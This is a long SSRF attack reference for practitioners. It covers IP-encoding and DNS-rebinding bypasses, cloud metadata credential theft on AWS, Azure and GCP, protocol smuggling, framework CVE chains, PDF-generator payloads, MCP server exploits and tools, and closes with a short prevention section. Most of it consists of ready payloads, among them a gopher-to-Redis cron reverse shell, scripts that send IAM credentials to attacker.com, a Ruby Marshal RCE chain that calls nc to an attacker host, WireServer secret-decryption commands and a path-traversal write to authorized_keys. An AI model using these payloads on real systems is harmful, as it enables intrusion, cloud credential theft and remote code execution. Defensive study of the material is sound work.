Comprehensive SSRF Guide#
A practitioner’s reference for Server-Side Request Forgery — attack surface, exploitation techniques, bypass methods, real-world chains, and detection/prevention. Compiled from 299 research sources.
Table of Contents#
- Fundamentals
- Attack Surface & Entry Points
- IP Address Bypass Techniques
- URL Parsing & Protocol Tricks
- Cloud Metadata Exploitation
- Blind SSRF Techniques
- Protocol Smuggling
- Framework-Specific SSRF
- PDF Generator SSRF
- Real-World Exploitation Chains
- Tools & Automation
- MCP / AI Agent SSRF
- IPv6 & DNS Rebinding Bypass Patterns
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals#
SSRF occurs when an attacker can make a server-side application send HTTP requests to an attacker-chosen destination. The server acts as a proxy, often with elevated network access (internal services, cloud metadata, localhost) and implicit trust (firewall bypass, authentication context).
Three classes:
| Class | Description | Example |
|---|---|---|
| Full-Response | Attacker sees the complete HTTP response | pictureproxy.php?url= |
| Blind | No direct response — requires OOB exfiltration | Webhook URL callbacks |
| Error-Based | Information leaks via error messages or timing | Kubernetes webhook errors |
Impact spectrum: Port scanning → Internal service enumeration → File read → Credential theft → Remote code execution → Full cloud account takeover.
2. Attack Surface & Entry Points#
Common injection points#
| Category | Examples |
|---|---|
| URL parameters | ?url=, ?path=, ?src=, ?dest=, ?redirect=, ?uri=, ?domain= |
| Webhooks | GitHub/GitLab/Slack/custom webhook URL configuration |
| File imports | “Import from URL”, RSS feed URLs, avatar/image URLs |
| PDF/report generation | HTML-to-PDF, certificate generators, invoice renderers |
| API integrations | OAuth callback URLs, SAML endpoints, OpenID configuration |
| Email features | List-Unsubscribe headers, email template image loading |
| Document processors | Pandoc, LibreOffice, image processing pipelines |
| AI/ML services | Custom GPT actions, MCP servers, model serving endpoints |
| Proxy/fetch endpoints | Image proxies, link preview generators, URL shorteners |
Sink functions (code-level)#
PHP: file_get_contents(), curl_exec(), fopen(), readfile()
Python: requests.get(), urllib.urlopen(), httplib.request()
Node.js: fetch(), http.request(), axios.get()
Java: URL.openConnection(), HttpClient.send()
Ruby: Net::HTTP.get(), open-uri, Faraday.get()
C#: HttpClient.GetAsync(), WebRequest.Create()
3. IP Address Bypass Techniques#
When applications blacklist 127.0.0.1 or 169.254.169.254, use alternative representations.
Localhost (127.0.0.1)#
| Encoding | Value |
|---|---|
| Shorthand | http://127.1/ |
| Zero | http://0/ |
| Decimal | http://2130706433/ |
| Octal | http://0177.0.0.1/ |
| Hex | http://0x7f000001/ |
| IPv6 | http://[::1]/ |
| IPv6 mapped | http://[::ffff:127.0.0.1]/ |
| IPv6 expanded | http://[0:0:0:0:0:ffff:7f00:0001]/ |
| CIDR | http://127.0.0.0/8 |
Cloud metadata (169.254.169.254)#
| Encoding | Value |
|---|---|
| Decimal | http://2852039166/ |
| Octal | http://0251.0376.0251.0376/ |
| Hex | http://0xA9FEA9FE/ |
| Partial octal | http://0251.254.169.254/ |
| IPv6 mapped | http://[::ffff:a9fe:a9fe]/ |
| IPv6 expanded | http://[0:0:0:0:0:ffff:a9fe:a9fe]/ |
Advanced encoding#
| Technique | Example |
|---|---|
| Enclosed alphanumerics | ⑯⑨。②⑤④。⑯⑨。②⑤④ |
| Unicode digit variants | ๐๑๒๓ (Thai digits) |
| Mixed encoding | Single octet in octal, rest decimal |
| URL encoding | http://%31%32%37%2e%30%2e%30%2e%31/ |
DNS-based bypasses#
| Service | Purpose |
|---|---|
localtest.me | Resolves to 127.0.0.1 |
nip.io | 169.254.169.254.nip.io → 169.254.169.254 |
1u.ms | DNS rebinding service |
| Custom DNS | A record pointing to internal IP |
DNS rebinding attack flow#
- Register domain
evil.comwith very short TTL - First DNS resolution:
evil.com→ attacker IP (passes validation) - TTL expires, second resolution:
evil.com→169.254.169.254 - Server’s HTTP client follows the rebind to internal target
4. URL Parsing & Protocol Tricks#
Parser differential exploits#
Different URL parsers disagree on what constitutes the “host”:
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
│ │
└─ actual request target └─ validator sees "google.com"
The @ symbol creates a userinfo component — validators may check the domain after @, but the HTTP client connects to the IP before it.
Redirect-based SSRF#
When direct SSRF is blocked but the client follows redirects:
# Attacker's redirect server
@app.route('/redirect')
def redirect():
return redirect('http://169.254.169.254/latest/meta-data/')
Protocol switching: Some clients strip security settings on redirect. CVE-2023-28155 (Node.js request library) deletes the HTTP agent on HTTPS→HTTP protocol change, bypassing proxy/SSRF controls.
Useful schemes beyond HTTP#
| Scheme | Use Case |
|---|---|
file:///etc/passwd | Local file read |
gopher:// | Arbitrary TCP data (Redis, Memcached, SMTP) |
dict:// | Dictionary service protocol for port scanning |
sftp://evil.com/ | Exfiltrate data via SFTP handshake |
tftp://evil.com/file | UDP-based exfiltration |
ldap://evil.com/ | LDAP query to attacker server |
netdoc:///etc/passwd | Java-specific file read |
jar:// | Java archive URL handler |
CRLF injection in URLs#
Inject raw HTTP protocol data via %0d%0a:
http://127.0.0.1:6379/%0D%0ASET%20pwned%20true%0D%0A
This sends to Redis:
GET /<CRLF>
SET pwned true<CRLF>
HTTP/1.1
Host: 127.0.0.1:6379
5. Cloud Metadata Exploitation#
AWS IMDSv1#
# Instance identity
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
# IAM credentials (the prize)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}
# User data (may contain secrets/bootstrap scripts)
http://169.254.169.254/latest/user-data/
IMDSv2 requires a token obtained via PUT request with X-aws-ec2-metadata-token-ttl-seconds header. Most SSRF only allows GET, making IMDSv2 a strong mitigation — unless the SSRF can send PUT requests.
ECS variant (containers):
http://169.254.170.2/v2/credentials/{GUID}
Using stolen credentials:
export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
Azure IMDS#
Standard endpoint (requires Metadata: true header):
GET /metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true
Managed identity token extraction:
GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Host: 169.254.169.254
Metadata: true
No-header endpoint (higher SSRF risk — no Metadata header required):
GET /metadata/v1/instanceinfo HTTP/1.1
Host: 169.254.169.254
WireServer (168.63.129.16) — no headers required:
GET /?comp=versions HTTP/1.1
Host: 168.63.129.16
HostGAPlugin (168.63.129.16:32526):
GET /vmSettings HTTP/1.1
Host: 168.63.129.16:32526
Returns full VM configuration, extension settings, and SAS URLs for storage accounts.
Decrypting Azure protected settings:
# Generate cert
openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 \
-newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt
# Get goalstate
CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' \
-H 'x-ms-version: 2015-04-05' -s | \
grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii)
# Get encrypted envelope with our cert
curl $CERT_URL -H 'x-ms-version: 2015-04-05' \
-H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | \
grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m
# Decrypt
openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx
openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key
CRLF bypass for Metadata header:
GET /metadata/v1/instanceinfo HTTP/1.1
Metadata: %0d%0aTrue
GCP Metadata#
# Legacy endpoint (no header required — high SSRF value)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
# Current endpoint (requires Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Service account tokens
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata endpoint summary#
| Provider | IP/Host | Header Required | Key Path |
|---|---|---|---|
| AWS IMDSv1 | 169.254.169.254 | None | /latest/meta-data/iam/security-credentials/ |
| AWS IMDSv2 | 169.254.169.254 | Token via PUT | Same as v1 |
| Azure IMDS | 169.254.169.254 | Metadata: true | /metadata/identity/oauth2/token?... |
| Azure WireServer | 168.63.129.16 | None | /?comp=goalstate |
| GCP (legacy) | metadata.google.internal | None | /computeMetadata/v1beta1/?recursive=true |
| GCP (current) | metadata.google.internal | Metadata-Flavor: Google | /computeMetadata/v1/ |
| DigitalOcean | 169.254.169.254 | None | /metadata/v1.json |
| Alibaba | 100.100.100.200 | None | /latest/meta-data/ |
6. Blind SSRF Techniques#
When you can trigger server-side requests but can’t see the response.
Detection methods#
| Method | How It Works |
|---|---|
| OOB HTTP callback | Point SSRF at Burp Collaborator / interactsh / webhook.site |
| OOB DNS | Use unique subdomain per test: test123.attacker.com |
| Timing | Compare response times — open port vs closed port vs filtered |
| Error differentials | Different error messages for different response codes |
| Response length | Body size changes based on target response |
Upgrading blind to full-read#
Open redirect chain:
- Find open redirect on a whitelisted domain
- SSRF → whitelisted domain redirect → internal target
- If redirect is followed, response may leak
NextJS blind-to-full-read (CVE-2024-34351):
- Server Action redirects to relative path
- Attacker sets
Host: attacker.tld - NextJS fetches
http://attacker.tld/404.html - Attacker returns HEAD with
Content-Type: text/x-component - GET request: attacker redirects to
http://127.0.0.1:8000/.env - NextJS follows redirect, returns full response
# Attacker's Flask server
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://127.0.0.1:8000/.env')
Exfiltration chains (Assetnote glossary)#
- Redis: Blind command execution via gopher, exfiltrate via
SLAVEOFto attacker - Memcached: Cache poisoning to inject payloads into application responses
- SMTP: Send email containing internal data
- DNS exfiltration: Encode data in DNS queries:
data.attacker.com
7. Protocol Smuggling#
Gopher → Redis RCE#
Gopher sends raw TCP data. Exploit internal Redis to write a cron job:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
HTTP → Memcached via CRLF#
Inject Memcached protocol via CRLF in HTTP request:
http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%205%0D%0Avalue%0D%0A
Memcached sees:
set key 0 60 5
value
Linkerd service mesh header injection#
Override routing in Linkerd-managed environments:
l5d-dtab: /svc/* => /$/inet/169.254.169.254/80
Any request through Linkerd mesh gets routed to the cloud metadata service.
8. Framework-Specific SSRF#
NextJS (CVE-2024-34351)#
Vector 1: Image optimization
/_next/image?url=http://internal-service/&w=256&q=75
Exploitable when next.config.js has permissive remotePatterns:
images: { remotePatterns: [{ hostname: "**" }] }
Vector 2: Server Actions + Host header
POST /search HTTP/1.1
Host: attacker.tld
Content-Type: multipart/form-data
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
{}
Astro (CVE-2026-25545)#
Same Host header injection pattern as NextJS:
GET /not-found HTTP/1.1
Host: attacker.tld
Server fetches http://attacker.tld/404.html, attacker redirects to internal resource.
Angular SSR#
Server-side rendering fetches resources based on client-controlled URLs, enabling internal network access during SSR hydration.
Pandoc (CVE-2025-51591)#
HTML-to-PDF conversion renders iframes:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
ClickHouse#
Unauthenticated query access with URL table function:
SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'TSV', 'data String')
Kubernetes Admission Webhooks#
Attacker creates a ValidatingWebhookConfiguration pointing to internal services:
webhooks:
- name: ssrf.attacker.com
clientConfig:
url: "http://127.0.0.1:1337/target"
rules:
- operations: ["CREATE"]
resources: ["pods"]
failurePolicy: Fail
Trigger by creating a pod — the API server sends a request to the webhook URL. Error messages reveal port status (open/closed/filtered).
Axios redirect header leak (CVE-2025-27152)#
Affected: axios <0.30.0 and 1.0.0 ≤ v < 1.8.2
Axios follows redirects by default and forwards the original Authorization header to the redirect target — including cross-origin redirects.
Attack flow:
- Victim app calls
axios.get("https://attacker.com/data", { headers: { Authorization: "Bearer ..." }}) - Attacker server responds with
302 → http://169.254.169.254/latest/meta-data/ - Axios re-sends the request with the bearer token attached
- Attacker captures the token from their logs (or pivots via the metadata response)
Real-world vulnerable packages: Nightscout 15.0.6 (axios 0.21.4), Uptime Kuma 2.2.1 (axios 0.30.3).
curl_cffi unrestricted redirects (CVE-2026-33752)#
Affected: curl_cffi <0.15.0
No internal IP range restrictions + automatic redirect following + TLS browser impersonation. Attacker-controlled URL redirects to metadata endpoint; curl_cffi follows blindly and the impersonation feature disguises the request as legitimate browser traffic, bypassing some egress detection.
Spring Cloud Config profile substitution (CVE-2026-22739)#
Affected: Spring Cloud Config 3.1.x–5.0.x (patched 4.3.2 OSS / 5.0.2 OSS)
The profile query parameter is substituted into both local file paths (native FS backend) and SCM repository URLs. Dual impact — directory traversal on FS backend, SSRF on SCM backend (attacker-controlled git URL).
Azure OpenAI privilege escalation (CVE-2025-53767)#
Insufficient validation of user-supplied input used in server-side request construction allows requests to Azure Instance Metadata Service endpoints, exposing managed identity tokens for privilege escalation inside the Azure OpenAI environment.
Microsoft Purview SSRF (CVE-2026-26138)#
SSRF in Microsoft Purview allows privilege elevation within the Purview control plane via metadata service access.
GitLab Git Repository Import (CVE-2025-12073)#
Affected: GitLab CE/EE <18.6.6, <18.7.4, <18.8.4
Authenticated SSRF via the Git repository import URL validator. Bypass uses malformed IPv6 encoding like http://[:::::ffff:127.0.0.1]/ which evades the blacklist but resolves correctly at the HTTP client layer.
GitLab webhook custom headers (CVE-2025-6454)#
Custom webhook headers allowed CRLF injection to inject arbitrary HTTP headers and smuggle requests to internal services.
Plunk SNS webhook handler (CVE-2026-32096)#
SNS webhook endpoint blindly fetches the SubscribeURL field from the incoming SNS message without validating it’s a legitimate AWS SNS confirmation URL — attacker posts a fake SNS payload with SubscribeURL pointing to an internal target.
Docker Model Runner OCI Registry (CVE-2026-33990)#
SSRF in the OCI registry client used by Docker Model Runner — registry URL validation is insufficient, allowing attacker-controlled model pulls to hit internal registries/metadata.
Dgraph, Soft Serve, ChurchCRM, Directus, Craft CMS#
Multiple other products with SSRF in import/fetch features — all share the same root cause of trusting user-provided URLs after superficial validation. See the CVE reference table at the end.
9. PDF Generator SSRF#
PDF generators (wkhtmltopdf, Puppeteer, WeasyPrint, Prince) render HTML including external resources, making them SSRF vectors.
Finding entry points#
Look for: certificate generation, report export, invoice rendering, digital signature features, “Save as PDF”, “Print” endpoints.
Injection contexts#
Between tags:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
In attributes (with quotes):
<img src=""/><iframe src="http://169.254.169.254/latest/meta-data/"></iframe>">
In attributes (with apostrophes):
<img src=''/><iframe src='http://169.254.169.254/latest/meta-data/'></iframe>'>
Data URL fields (digital signatures):
Replace data:image/png;base64,... with http://169.254.169.254/...
JavaScript execution in PDF context#
<script>
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(d => {
// Exfiltrate via image request
new Image().src = 'https://attacker.com/?data=' + btoa(d);
});
</script>
Timing trick#
Some generators take time to render. Use 100+ iframes to delay PDF generation long enough for JavaScript to execute and exfiltrate:
<!-- Delay rendering -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<!-- repeat 99 more times -->
<!-- Exfiltration after delay -->
<script>
setTimeout(() => {
new Image().src = 'https://attacker.com/exfil?data=' + document.body.innerText;
}, 5000);
</script>
Multi-target scanner payload#
#!/bin/bash
TARGETS="169.254.169.254 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1"
for target in $TARGETS; do
echo "<iframe src='http://$target/' width='1000' height='100'></iframe>"
done
10. Real-World Exploitation Chains#
GitHub Enterprise: SSRF → Protocol Smuggling → RCE#
Chain: 4 vulnerabilities combined
- SSRF in webhooks —
http://0/bypassesfaraday-restrict-ip-addressesblacklist (rare IP format for localhost) - SSRF in Graphite — internal service on port 8000 has unvalidated
urlparameter:http://0:8000/composer/send_email?to=orange@nogg&url=http://127.0.0.1:11211/ - CRLF injection — Python httplib allows
%0D%0Ain URL path, injecting raw protocol:http://0:8000/composer/send_email?to=x&url=http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%20[PAYLOAD_LEN]%0D%0A[MARSHAL_PAYLOAD]%0D%0A - Marshal deserialization RCE — Memcached stores Ruby Marshal objects; application deserializes on cache read:
marshal = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new( ERB.new("`id | nc attacker.tw 12345`"), :result )
Impact: Remote code execution on any GitHub Enterprise instance.
Google Production Network: SSRF into Borg#
- Google Caja server-side JavaScript processor fetches external script tags
- Create Google App Engine instance to observe source IP
- Discover Caja runs in Google’s internal 10.x.x.x network
- Point script tag at internal Borglet status monitors
- Exfiltrate: job configurations, hardware specs, service credentials, cluster topology
Impact: Direct access to Google’s production cluster management infrastructure.
AWS Account Takeover via Eval Injection#
- Custom macro language (Banan++) uses
eval()for expression parsing - Inject JavaScript
fetch()via the Union function:{"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\").then(res=>res.text()).then(r=>fetch(\"https://attacker.com/?r=\"+r));';'3')"} - First request: enumerate IAM role name
- Second request: extract full credentials (AccessKeyId, SecretAccessKey, Token)
- Use credentials: access 20 S3 buckets, 80 EC2 instances
Impact: Full AWS account compromise.
ChatGPT SSRF (CVE-2024-27564) — Mass Exploitation#
// pictureproxy.php — no validation
$content = file_get_contents($_GET['url']);
- 10,000+ attacking IPs observed in the wild
- 35% of US government targets unprotected due to WAF misconfiguration
- Used for internal network scanning, credential theft, and lateral movement
Email List-Unsubscribe → Internal SSRF#
- Send DKIM-signed email with malicious
List-Unsubscribeheader:List-Unsubscribe: <http://169.254.169.254/latest/meta-data/> List-Unsubscribe-Post: List-Unsubscribe=One-Click - User or mail client clicks “Unsubscribe”
- Mail server sends server-side request to metadata endpoint
- Blind SSRF from mail infrastructure
11. Tools & Automation#
SSRFmap#
Automated SSRF exploitation framework with 20+ modules:
# Install
git clone https://github.com/swisskyrepo/SSRFmap
pip3 install -r requirements.txt
# Basic usage — provide a Burp-format request file
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m aws
python ssrfmap.py -r request.txt -p url -m portscan
# Redis RCE with reverse shell listener
python ssrfmap.py -r request.txt -p url -m redis --lhost=attacker --lport=4242 -l 4242
# WAF bypass with encoding escalation
python ssrfmap.py -r request.txt -p url -m portscan --level 5
Modules: readfiles, portscan, networkscan, aws, gce, digitalocean, alibaba, redis, fastcgi, mysql, postgres, docker, smtp, memcache, tomcat, socksproxy, smbhash, custom
Burp Suite#
- Collaborator — OOB detection for blind SSRF
- Intruder — Fuzz URL parameters with IP encoding lists
- SSRF-specific extensions for automated cloud metadata detection
DNS rebinding tools#
- 1u.ms — DNS rebinding as a service
- rbndr.us — Configurable rebinding
- Twisted-based frameworks — Custom DNS rebinding servers
Manual testing tools#
# Generate all IP encodings
python3 -c "import ipaddress; ip = int(ipaddress.ip_address('169.254.169.254')); print(f'Decimal: {ip}'); print(f'Hex: 0x{ip:08X}'); print(f'Octal: {\".\".join(oct(int(o))[2:] for o in \"169.254.169.254\".split(\".\"))}')"
# Quick OOB test with interactsh
interactsh-client
# Gopher payload generator
gopherus --exploit redis
12. MCP / AI Agent SSRF#
Model Context Protocol (MCP) servers expose AI agent tools over HTTP/JSON-RPC. Many production MCP servers trust user-provided URLs, headers, and parameters — creating a fresh attack surface with cloud-admin blast radius. 30+ SSRF CVEs appeared in MCP servers in a 60-day window during early 2026.
Atlassian MCP unauthenticated RCE (CVE-2026-27825 + CVE-2026-27826)#
Affected: mcp-atlassian PyPI package <0.17.0
Chain: Header-injection SSRF + path traversal write → RCE on MCP host
Component 1 — Header SSRF (CVE-2026-27826):
Custom headers (X-Atlassian-Confluence-Url, X-Atlassian-Jira-Url) bypass auth when the standard Authorization header is missing. The dependency injection layer extracts the URL and immediately issues an outbound connectivity check via get_current_user_account_id() — no validation first.
POST /v1/tools/call HTTP/1.1
Host: mcp-internal.company.local
X-Atlassian-Confluence-Url: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Content-Type: application/json
{"name": "get_current_user", "arguments": {}}
Component 2 — Path Traversal Write (CVE-2026-27825):
The confluence_download_attachment tool takes an unvalidated download_path parameter and writes the fetched attachment content there. No ../ filtering.
{
"name": "confluence_download_attachment",
"arguments": {
"attachment_id": "malicious_payload_id",
"download_path": "../../../../../../home/mcpuser/.ssh/authorized_keys"
}
}
Full chain:
- Attacker hosts a fake Confluence instance returning SSH key content as the “attachment”
- Set
X-Atlassian-Confluence-Url: https://attacker.com(SSRF to attacker) - Call
confluence_download_attachmentwithdownload_pathpointing at~/.ssh/authorized_keysor/etc/cron.d/malicious-job - RCE on the MCP host within 1 minute (cron) or next SSH login
FastMCP OpenAPI provider SSRF + path traversal (CVE-2026-32871)#
Affected: fastmcp PyPI <3.2.0
Root cause: _build_url() in fastmcp/utilities/openapi/director.py does raw string substitution of path parameters into URL templates without URL encoding. urllib.parse.urljoin() then interprets ../ sequences as traversal.
def _build_url(self, path_template, path_params, base_url):
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value)) # NO ENCODING
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Exploit:
- Template:
/api/v1/users/{id}/profile - Payload:
id="../../../admin/delete-all?" - Resolved URL:
http://backend:8080/admin/delete-all?
Authentication context is inherited from the MCP provider — attackers ride the provider’s privileged auth headers into private backend endpoints.
MCP SSRF hunting checklist#
| Check | What to look for |
|---|---|
| Header injection | Custom headers like X-*-Url, X-Target-Host, X-Backend-* |
| URL parameters | Tool inputs named url, endpoint, webhook, callback, path |
| OpenAPI path templates | {param} substitution without URL encoding |
| OCI/registry fetches | Model pulls, container image references |
$ref dereferencing | JSON schema $ref with external URLs (CVE-2026-39885 pattern) |
| File upload callbacks | Image/avatar URL fetches |
| Auth fallback bypass | Missing Authorization → custom header path |
Related MCP CVEs (60-day cluster)#
| CVE | Package | Issue |
|---|---|---|
| CVE-2026-27825/26 | mcp-atlassian | Header SSRF + path traversal → RCE |
| CVE-2026-32871 | fastmcp | OpenAPI path param injection |
| CVE-2026-39885 | mcp-from-openapi | $ref dereferencing SSRF |
| CVE-2026-34936 | praison | SSRF via URL input |
| CVE-2026-34981 | whisper | SSRF via audio fetch URL |
| CVE-2026-35037 | Ech0 | Unauthenticated SSRF in GetWebsiteTitle |
13. IPv6 & DNS Rebinding Bypass Patterns#
Most “SSRF protection” breaks on DNS rebinding and IPv6 edge cases. These are the patterns worth knowing.
TOCTOU validator pattern (the canonical bug)#
# VULNERABLE
def is_private_url(url):
hostname = urlparse(url).hostname
ip = socket.gethostbyname(hostname) # Resolution #1 (validation)
return ipaddress.ip_address(ip).is_private
if not is_private_url(url):
requests.get(url) # Resolution #2 (actual request)
Between resolution #1 and resolution #2, DNS can return a different IP. Validator sees public IP; HTTP client connects to private IP.
Exploited by: MindsDB <v23.12.4.2, Craft CMS (CVE-2026-27127), many others.
DNS rebinding services#
| Service | Usage |
|---|---|
1u.ms | make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms — alternates between IPs per query |
rbndr.us | Dual-record rebinding with configurable IPs |
| Custom | Low-TTL authoritative DNS server you control |
Example payload: http://make-{public-ip}-rebind-127.0.0.1-rr.1u.ms:8667/
- Query 1 → public IP (passes validator)
- Query 2 →
127.0.0.1(actual fetch)
IPv6 bypass variants#
IPv4-mapped IPv6 (CVE-2026-35409 Directus):
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
Validator checks ip.is_private on string parsing but HTTP clients accept the IPv4-mapped form.
IPv6-only AAAA records (CVE-2026-27129 Craft CMS):
The validator uses gethostbyname() (IPv4 only). For an IPv6-only hostname it returns the string hostname itself — which isn’t in the IPv4 blocklist, so it passes. The HTTP client then resolves AAAA and connects to the real IPv6 target.
Malformed IPv6 encodings (CVE-2025-12073 GitLab):
http://[:::::ffff:127.0.0.1]/
http://[0:0:0:0:0:0:0:1]:80/
Extra colons, mixed compression forms — some URL parsers normalize these, others reject, and validators and HTTP clients disagree on which is which.
Validator-level bypasses#
nossrf npm package (all versions ≤1.0.3):
// Validator checks for DNS.Comment field but never checks resolved IP
const asyncResolveHostnameGoogle = async (hostname) => {
const responseV4 = await axios.get(`https://dns.google/resolve?name=${hostname}&type=A`);
if (responses[0].Comment) return true; // Bug: only checks presence of Comment
if (!responses[0].Comment) return false;
};
localtest.me resolves to 127.0.0.1 and the DoH response includes a Comment field — validation passes.
Custom-domain bypass (simplest):
Register internal.yourevildomain.com with an A record pointing at 169.254.169.254. Any denylist checking string 169.254.169.254 is defeated; the HTTP client resolves it at request time.
Parameter enumeration campaign (March 2025, EC2 IMDS)#
Observed in-the-wild mass scan — six parameter names, four metadata subpath variants:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?dest=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?redirect=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Attack infrastructure: ASN 34534 (FBW NETWORKS SAS). Telemetry signature: OpenSSH_9.2p1 Debian, port 10250 (Kubernetes), TLS SAN DNS:cold01 / DNS:cold07. Mitigation remains the same: enforce IMDSv2.
PDF SSRF → LFI (CVE-2024-34112 and beyond)#
Affected: Adobe ColdFusion <cfdocument> tag (<2023 Update 8, <2021 Update 14)
Pre-patch direct LFI:
<cfdocument format="pdf">
<iframe src="file:///etc/passwd">
</cfdocument>
Post-patch bypass via meta-refresh (CVE-2024-34112):
Adobe blocked file:// in the initial patch but not in meta-refresh targets from external HTML.
- Attacker hosts
meta.html:<meta http-equiv="refresh" content="0; file:///etc/hosts"> - Inject into PDF:
<iframe src="https://attacker/meta.html" width=1000> - PDF renderer follows the iframe → fetches
meta.html→ honors meta-refresh → readsfile:///etc/hosts→ contents render in the PDF
The general pattern — “indirect protocol switching via intermediary HTML” — applies to any HTML-to-PDF renderer that fetches external resources.
14. Detection & Prevention#
Prevention (defense-in-depth)#
| Layer | Control |
|---|---|
| Network | Firewall rules blocking outbound to 169.254.169.254 from application tier |
| Cloud | Enforce IMDSv2 (AWS), require Metadata headers (Azure/GCP) |
| Application | Allowlist of permitted domains/IPs; deny internal ranges |
| URL validation | Parse URL → resolve DNS → check IP against blocklist → make request (in that order, atomically) |
| DNS rebinding | Resolve DNS once, pin the IP, validate, then connect to that IP |
| HTTP client | Disable redirect following or re-validate on each redirect hop |
| Protocol | Restrict to http:// and https:// only — block gopher://, file://, dict:// |
URL validation pitfalls#
Wrong (bypassable):
# Regex-based — fails on encoding tricks
if '127.0.0.1' in url or 'localhost' in url:
return False
Right:
import ipaddress, socket
from urllib.parse import urlparse
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
try:
ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
return True
Still vulnerable to DNS rebinding — must pin the resolved IP and connect to it directly rather than re-resolving.
Static analysis (CodeQL / Semgrep)#
Track taint from user input to HTTP request sinks:
Source: request.GET['url'], request.body.url, req.query.url
Sanitizer: URL validation with IP resolution check
Sink: requests.get(), fetch(), file_get_contents(), HttpClient.send()
Runtime detection signals#
| Signal | Indicates |
|---|---|
| Application process accessing 169.254.169.254 | IMDS abuse — baseline which processes should access metadata |
| Rapid sequential metadata queries | Credential enumeration in progress |
| Outbound requests to RFC 1918 ranges from web tier | Internal network scanning |
| Unusual User-Agent hitting internal services | SSRF proxying through application |
DNS queries for metadata.google.internal from non-GCP hosts | Misconfiguration or SSRF |
15. Payload Quick Reference#
One-liner test payloads#
# Basic connectivity test
http://BURP_COLLABORATOR_URL
# AWS metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # needs Metadata:true
http://169.254.169.254/metadata/v1/instanceinfo # NO header needed
http://168.63.129.16/machine/?comp=goalstate # WireServer, no header
# GCP metadata
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true # legacy, no header
# Local file read
file:///etc/passwd
file:///proc/self/environ
file:///home/user/.aws/credentials
# Internal service probing
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:11211/ # Memcached
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:8500/v1/agent/self # Consul
http://127.0.0.1:2375/version # Docker API
https://kubernetes.default.svc/metrics # K8s API
IP encoding cheat sheet#
127.0.0.1 →
0 2130706433 0x7f000001
0177.0.0.1 [::1] [::ffff:127.0.0.1]
127.1 0x7f.0.0.1 017700000001
169.254.169.254 →
2852039166 0xA9FEA9FE 0251.0376.0251.0376
